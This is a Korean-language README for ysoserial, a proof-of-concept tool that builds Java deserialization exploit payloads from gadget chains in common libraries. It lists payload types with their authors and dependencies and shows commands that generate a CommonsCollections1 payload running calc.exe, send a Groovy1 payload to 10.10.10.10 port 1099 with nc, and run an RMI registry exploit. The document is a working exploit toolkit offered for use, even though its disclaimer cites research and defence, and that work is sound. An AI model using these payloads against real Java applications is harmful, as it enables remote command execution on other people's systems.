안전하지 않은 Java 객체 역직렬화를 이용하는 페이로드를 생성하기 위한 개념 증명 도구입니다.
원래는 Apache Commons Collections(3.x 및 4.x), Spring Beans/Core(4.x) 및 Groovy(4.x)용 가젯 체인을 사용하여 AppSecCali 2015 Talk "Marshalling Pickles: 어떻게 deserializing 개체가 하루를 망칠 것인가"의 일부로 릴리스되었습니다. 2.3.x). 나중에 JRE <= 1.7u21 및 기타 여러 라이브러리에 대한 추가 가젯 체인을 포함하도록 업데이트되었습니다.
ysoserial 은 올바른 조건에서 객체의 안전하지 않은 역직렬화를 수행하는 Java 애플리케이션을 활용할 수 있는 일반적인 Java 라이브러리에서 발견된 유틸리티 및 속성 지향 프로그래밍 "가젯 체인"의 모음입니다. 기본 드라이버 프로그램은 사용자가 지정한 명령을 가져와 사용자가 지정한 가젯 체인에 래핑한 다음 이러한 개체를 stdout으로 직렬화합니다. 클래스 경로에 필수 가젯이 있는 애플리케이션이 이 데이터를 안전하지 않게 역직렬화하면 체인이 자동으로 호출되어 애플리케이션 호스트에서 명령이 실행됩니다.
취약점은 클래스 경로에 가젯이 있는 것이 아니라 안전하지 않은 역직렬화를 수행하는 애플리케이션에 있다는 점에 유의해야 합니다.
이 소프트웨어는 학술 연구 및 효과적인 방어 기술 개발을 위한 목적으로만 제작되었으며 명시적으로 승인된 경우를 제외하고는 시스템을 공격하는 데 사용할 수 없습니다. 프로젝트 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.
$ java -jar ysoserial.jar
Y SO SERIAL ?
Usage: java -jar ysoserial.jar [payload] ' [command] '
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
GitHub 릴리스에서 최신 릴리스 jar를 다운로드하세요.
Java 1.7 이상 및 Maven 3.x 이상이 필요합니다.
mvn clean package -DskipTests
git checkout -b my-new-feature
).git commit -am 'Add some feature'
)git push origin my-new-feature
)